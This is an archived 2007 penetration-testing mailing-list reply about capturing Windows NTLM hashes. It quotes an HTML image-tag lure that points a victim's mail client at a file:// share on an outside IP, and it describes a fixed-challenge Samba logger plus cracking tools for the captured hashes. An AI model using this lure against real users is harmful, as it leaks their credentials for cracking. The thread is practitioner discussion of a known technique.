Penetration Testing mailing list archives
RE: Pass the hash
From: jmk <jmk () foofus net>
Date: Sat, 17 Nov 2007 13:34:59 -0600
On Fri, 2007-11-16 at 07:38 -0500, Shenk, Jerry A wrote:
Send the hash to a machine that is only capable of LM authentication and then sniff that traffic. I've done that with an embedded image tag in an e-mail like <img src="file://123.123.123.123/someshare/dot.gif"> or something like that.
FWIW, both "file://" and "\\" work here. Gotta love Outlook and IE. ;) Rather than sniffing the LM/NTLMv1 exchange, you can also setup your own SMB service that just logs the data. I've posted my modification to Samba which uses a fixed challenge to do this here: http://www.foofus.net/jmk/smbchallenge.html Using a fixed challenge makes RainbowCrack feasible for this attack. Even without a fixed value, though, John and Cain can be used to brute the challenge/response pair. My assumption is that NTLMv2 is also vulnerable to this attack. The introduction of a client challenge does limit us to brute-force password cracking. Probably wouldn't take much to hack logging of the NTLMv2 exchange into Samba. Joe -- jmk <jmk () foofus net> Foofus Networks ------------------------------------------------------------------------ This list is sponsored by: Cenzic Need to secure your web apps NOW? Cenzic finds more, "real" vulnerabilities fast. Click to try it, buy it or download a solution FREE today! http://www.cenzic.com/downloads ------------------------------------------------------------------------
Current thread:
- Pass the hash me (Nov 15)
- RE: Pass the hash dan (Nov 16)
- RE: Pass the hash Shenk, Jerry A (Nov 16)
- RE: Pass the hash jmk (Nov 18)